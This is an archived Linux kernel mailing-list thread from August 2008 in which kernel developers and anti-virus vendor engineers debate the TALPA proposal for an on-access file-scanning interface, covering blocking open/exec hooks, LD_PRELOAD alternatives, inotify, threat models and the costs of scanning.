> > Okay, so goal of libmalware.so is to "not allow data in the black list
> > to pass through Linux server". Threat model is windows machines trying
> > to copy infected files through the server. 
> 
> That's only part of the threat model.

Yes, that's the part libmalware.so proposal solves. Given scary number
of 0 Linux viruses in wild, it seems to solve the problem pretty well.

> > it actually _works_, 100% of time, for apps using it.
> 
> Again that's a big condition.

Yep, so... why don't you propose something better? I'm pretty sure
100% reliable scanning is impossible without modifying applications,
but hey, you can prove me wrong.
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Press, Jonathan]

> -----Original Message-----
> From: Pavel Machek [mailto:pavel@suse.cz]
> Sent: Thursday, August 14, 2008 8:54 AM
> To: tvrtko.ursulin@sophos.com
> Cc: Arjan van de Ven; Adrian Bunk; davecb@sun.com; Greg KH; Press,
Jonathan;
> linux-kernel@vger.kernel.org; linux-security-module@vger.kernel.org;
malware-
> list@lists.printk.net; Mihai Don??u
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
alinuxinterfaceforon access
> scanning
> 
> Hi!
> 
> Okay, so goal of libmalware.so is to "not allow data in the black list
> to pass through Linux server". Threat model is windows machines trying
> to copy infected files through the server. 

That's only part of the threat model.

> Viruses are not expected to have shell access to either root or normal

> users on the server.

That's a big exception.


> it actually _works_, 100% of time, for apps using it.

Again that's a big condition.


Jon Press

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Eric Paris]

On Wed, 2008-08-06 at 12:25 -0400, Rik van Riel wrote:
> On Wed, 6 Aug 2008 17:12:56 +0100
> tvrtko.ursulin@sophos.com wrote:
> > Rik van Riel wrote on 06/08/2008 16:46:04:
> 
> > > More importantly, getting info on which bytes in a file changed
> > > will also help backup programs and disk indexing programs.
> > 
> > True, but Nick mentioned some huge issues with access after close and 
> > munmap in one of your previous postings. It sounds to me that would be a 
> > huge VM/filesystem work to actually enable things like this.
> 
> A universally useful large change is often easier to get into
> the Linux kernel than a single-purpose hack.

Over engineering in a void for some supposed someday user isn't a good
idea either.  If there are other people interested in working together
to come up with a solution to multiple needs I'm here to help!

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rik van Riel]

On Wed, 6 Aug 2008 17:12:56 +0100
tvrtko.ursulin@sophos.com wrote:
> Rik van Riel wrote on 06/08/2008 16:46:04:

> > More importantly, getting info on which bytes in a file changed
> > will also help backup programs and disk indexing programs.
> 
> True, but Nick mentioned some huge issues with access after close and 
> munmap in one of your previous postings. It sounds to me that would be a 
> huge VM/filesystem work to actually enable things like this.

A universally useful large change is often easier to get into
the Linux kernel than a single-purpose hack.

-- 
All Rights Reversed

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[tvrtko.ursulin]

Rik van Riel wrote on 06/08/2008 16:46:04:

> On Wed, 6 Aug 2008 11:33:23 -0400
> "Press, Jonathan" <Jonathan.Press@ca.com> wrote:
> 
> > Even so, I don't think your extreme examples are really parallel to 
what
> > we do.  Personally, I think that scanning on open, exec and close is 
not
> > excessive. 
> > 
> > And in fact, we do go out of our way to avoid scanning when it really
> > isn't necessary.  For example, that's the reason that we want a cache 
--
> 
> Disks are slow and files are getting larger by the day.
> 
> We can do a lot better than scanning a whole file.  A mechanism
> that can notify programs about what file changed and what byte
> range in the file changed can reduce scanning overhead by only
> needing to scan the part of the file that changed.

It is much more advanced than that, really. I don't know if ever a whole 
file is read and in 99% it is just a tiny part of it. I don't know what I 
am allowed to disclose and also it is not my area of expertise, but if you 
are interested in how detection actually works maybe we can talk off list 
and put you in touch with some other people here.

It is also wrong to think that you can scan only what has changes because 
that bit may be harmless itself but present a final part of a malware 
puzzle.
 
> More importantly, getting info on which bytes in a file changed
> will also help backup programs and disk indexing programs.

True, but Nick mentioned some huge issues with access after close and 
munmap in one of your previous postings. It sounds to me that would be a 
huge VM/filesystem work to actually enable things like this.
 
> What we need to work on is making sure that the interfaces
> that go into the kernel are useful not just for anti-virus
> programs, but also for other software.

I definitely agree with that.

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rik van Riel]

On Wed, 6 Aug 2008 11:33:23 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> Even so, I don't think your extreme examples are really parallel to what
> we do.  Personally, I think that scanning on open, exec and close is not
> excessive.  
> 
> And in fact, we do go out of our way to avoid scanning when it really
> isn't necessary.  For example, that's the reason that we want a cache --

Disks are slow and files are getting larger by the day.

We can do a lot better than scanning a whole file.  A mechanism
that can notify programs about what file changed and what byte
range in the file changed can reduce scanning overhead by only
needing to scan the part of the file that changed.

More importantly, getting info on which bytes in a file changed
will also help backup programs and disk indexing programs.


Blocking on open can be useful for more than just anti-virus
scanning.  It can also be useful for hierarchical storage
management or simply for using a filesystem while it is being 
restored from backup - an important consideration because
restoring a filesystem from backup can take days with modern
data sizes.

Blocking on exec is similar to blocking on open and useful
in the same scenarios.


What we need to work on is making sure that the interfaces
that go into the kernel are useful not just for anti-virus
programs, but also for other software.

-- 
All Rights Reversed

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Press, Jonathan]

-----Original Message-----
From: Theodore Tso [mailto:tytso@MIT.EDU] 
Sent: Wednesday, August 06, 2008 11:09 AM
To: Press, Jonathan
Cc: Rik van Riel; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org;
Arjan van de Ven
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
alinuxinterfaceforon access scanning

On Wed, Aug 06, 2008 at 08:10:53AM -0400, Press, Jonathan wrote:
> I think if it as being like the Sieve of Eratosthenes.  The further
down
> you go, the more numbers drop out.  In AV scanning, each step of the
way
> removes some percentage of the harmful files, and closes the window of
> time that they have to operate or migrate.  Or maybe it's like
spraying
> insecticide when there is an outbreak of some deadly mosquito-borne
> illness.  Without getting into the political issues about spraying,
> because this is JUST AN EXAMPLE -- would you not spray because 5% of
the
> bugs would still be left behind?  Wouldn't you then spray again,
because
> you wipe out another 95%?

The problem with your example is that it ignores the cost; the cost in
code maintenance; the cost in performance, etc.  That's the problem an
absolutist view towards security.  Going back to the your sparying
analogy, if the illness is considered *so* utterly deadly that you don't
consider the costs of beneficial insects dieing, children getting
exposed so badly that they get cancer five years later, etc. --- then
the argument would be heck, let's spray every day! Let's spray every
hour!  Let's have a insectside misters going 24 hours a day in the parks
and in the schools!!!

In the TSA example, let's force every single traveller to strip naked
publically and be submitted to body cavity searches!  Since
**obviously** stopping terrorist bombs is so important that no other
considerations need to be taken into account.  Oh, and we should
obviously also give all of our financial information to the security
agencies so they can do futher screens to look for terrorists; who cares
about the risks that laptops with all of that unencrypted data will be
stolen out of a locked office in the San Francisco airport?

Similarly there are costs to doing all of this extra scanning.  You're
getting carried away here way you say that it never hurts to do extra
scanning, and that we don't need to decide whether or not it makes sense
to do it all.  That's just stupid.  The whole defense in depth, taken to
extremes, leads to completely nonsensical thinking.  Security is
*defintiely* a cost/benefit tradeoff, and to do something meaningful
here we need to think rationally about the threat environment --- and
part of that threat environment is the existing security systems in
Linux, which are definitely far more powerful than what DOS/Windows
have.

[JON PRESS] You're absolutely right, there is a cost-benefit tradeoff,
and I am not ignoring it at all.  Reasonable people can have a
reasonable discussion about what constitutes enough or too much
scanning.  From my experience with customers, many if not most
enterprises consider any outbreak with any serious damage to be too
much, and don't mind redundant scanning if it will help to prevent it.

Even so, I don't think your extreme examples are really parallel to what
we do.  Personally, I think that scanning on open, exec and close is not
excessive.  

And in fact, we do go out of our way to avoid scanning when it really
isn't necessary.  For example, that's the reason that we want a cache --
and again reasonable people can have a reasonable discussion about how
to handle that.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Greg KH]

On Tue, Aug 05, 2008 at 04:37:42PM -0400, Press, Jonathan wrote:
> 
> [JON PRESS]  I don't get the connection between what I said and your
> point about not needing blocking open() interface.  If I ftp into a
> Linux machine and GET an infected file, you want FTP to go right ahead
> and read it and send it to me over the wire?

Shouldn't that be the issue of the FTP server itself not serving up
"invalid" files, and not the kernel?  Why not just hook in it, I'm
pretty sure they already provide this kind of interface, right?

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Arjan van de Ven]

On Tue, 05 Aug 2008 16:51:07 -0400
Eric Paris <eparis@redhat.com> wrote:

> I think Alan and I have both described how greater linux security can
> be gained through this interface compared to glibc or LD_PRELOAD even
> if it isn't perfect security.  

I guess I missed that.

I will fully subscribe to the idea that  "the LD_PRELOAD way assumes you
have a good->bad transition" might not be fully bullet proof (after
all, if your init is compromised you won't have this transition)

but what else is the actual gap?

-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Eric Paris]

On Tue, 2008-08-05 at 16:28 -0400, Press, Jonathan wrote:
> -----Original Message-----
> From: Greg KH [mailto:greg@kroah.com] 
> Sent: Tuesday, August 05, 2008 4:18 PM
> To: Press, Jonathan
> Cc: Arjan van de Ven; Eric Paris; linux-kernel@vger.kernel.org;
> malware-list@lists.printk.net; linux-security-module@vger.kernel.org
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
> alinuxinterfaceforon access scanning
> 
> On Tue, Aug 05, 2008 at 02:38:23PM -0400, Press, Jonathan wrote:
> > >> I think you might be missing the point a bit here, as the
> traditional
> > Unix model that 
> > >> Linux has prevents much of what the "traditional AV" products need
> to
> > do, right?
> > 
> > Is your point that Linux and Unix machines are less vulnerable to
> > viruses?  If so, that's not relevant to my point at all.  A Unix
> machine
> > can be a carrier, passing infections on to other vulnerable platforms
> > (guess which one).
> 
> So you are going to try to force us to take something into the Linux
> kernel due to the security inadiquacies of a totally different operating
> system?  You might want to rethink that argument :)
> 
> [JON PRESS]  On the contrary...you might want to rethink your reaction.
> The security inadequacies of that other operating system that happens to
> have a 90+% market sure are exactly why Linux and other OS's that
> coexist with it should be more conscious of their own interactions with
> it.  Enterprises that see Linux as a potential breeding ground for
> infestations are less likely to tolerate Linux in their environment.
> Why do you think we have so many customers who have a corporate mandate
> to have AV software on all machines, no matter what platform type?

I don't think the pissing contest is going to get us anywhere.  I think
Jon might want to realize that the linux kernel is not driven by
business needs, we are driven by technical correctness and technical
necessity.  lkml isn't a place where you wave a bag of money and say "do
you want to be in the data center, do as I say."  Techies always win,
not business.  I think Greg needs to realize that not all of the AV
vendors are being or want to be difficult, thick, or stubborn.  I would
like to point out for the community's enjoyment that much of the heavy
lifting here has been done by one of these vendors who is currently
using the above mentioned horrible hacks to make their product work
(although at least I believe GPL horrible hacks).  Most all of the black
magic vendors agree they want to work towards a real upstream solution
so lets try to find it, not just build walls and get defensive.

I personally agree with Greg that I don't care if its 'hard' to get all
the information you need to do your job as long as it is reasonable and
sustainable.  I think this interface is both and I'm going to be looking
for numbers to show it over the next couple of days.

I think Alan and I have both described how greater linux security can be
gained through this interface compared to glibc or LD_PRELOAD even if it
isn't perfect security.  I certainly don't make the claim that all
malware (for any OS) is going to get stopped dead in its tracks.  But
then again I also haven't heard any vendor say "we don't look for any
linux malware."  Even if the majority of their business is driven by
"that other OS" it doesn't mean that software on linux is without flaws
and we don't have attackable programs.  Would any vendor who does this
type of work stand up and say how your product may have stopped or been
able to stop a vulnerability that would have been impossible in
userspace.

-Eric

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Press, Jonathan]

-----Original Message-----
From: Theodore Tso [mailto:tytso@mit.edu] 
Sent: Tuesday, August 05, 2008 2:55 PM
To: Press, Jonathan
Cc: Greg KH; Arjan van de Ven; Eric Paris; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
alinuxinterfaceforon access scanning

On Tue, Aug 05, 2008 at 02:38:23PM -0400, Press, Jonathan wrote:
> Is your point that Linux and Unix machines are less vulnerable to
> viruses?  If so, that's not relevant to my point at all.  A Unix
machine
> can be a carrier, passing infections on to other vulnerable platforms
> (guess which one).  An enterprise security system sees the entire
> enterprise as an integrated whole -- not just individual machines with
> their own separate attributes and no impact on each other at all.

Sure, but if that's the case, you don't need to have a blocking open()
interface.  Having inotify tell your application that a file
descriptor that had been opened for writing has been closed
(IN_CLOSE_WRITE) should be quite sufficient.


[JON PRESS]  I don't get the connection between what I said and your
point about not needing blocking open() interface.  If I ftp into a
Linux machine and GET an infected file, you want FTP to go right ahead
and read it and send it to me over the wire?

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Press, Jonathan]

-----Original Message-----
From: Greg KH [mailto:greg@kroah.com] 
Sent: Tuesday, August 05, 2008 4:18 PM
To: Press, Jonathan
Cc: Arjan van de Ven; Eric Paris; linux-kernel@vger.kernel.org;
malware-list@lists.printk.net; linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
alinuxinterfaceforon access scanning

On Tue, Aug 05, 2008 at 02:38:23PM -0400, Press, Jonathan wrote:
> >> I think you might be missing the point a bit here, as the
traditional
> Unix model that 
> >> Linux has prevents much of what the "traditional AV" products need
to
> do, right?
> 
> Is your point that Linux and Unix machines are less vulnerable to
> viruses?  If so, that's not relevant to my point at all.  A Unix
machine
> can be a carrier, passing infections on to other vulnerable platforms
> (guess which one).

So you are going to try to force us to take something into the Linux
kernel due to the security inadiquacies of a totally different operating
system?  You might want to rethink that argument :)

[JON PRESS]  On the contrary...you might want to rethink your reaction.
The security inadequacies of that other operating system that happens to
have a 90+% market sure are exactly why Linux and other OS's that
coexist with it should be more conscious of their own interactions with
it.  Enterprises that see Linux as a potential breeding ground for
infestations are less likely to tolerate Linux in their environment.
Why do you think we have so many customers who have a corporate mandate
to have AV software on all machines, no matter what platform type?



thanks,
greg k-h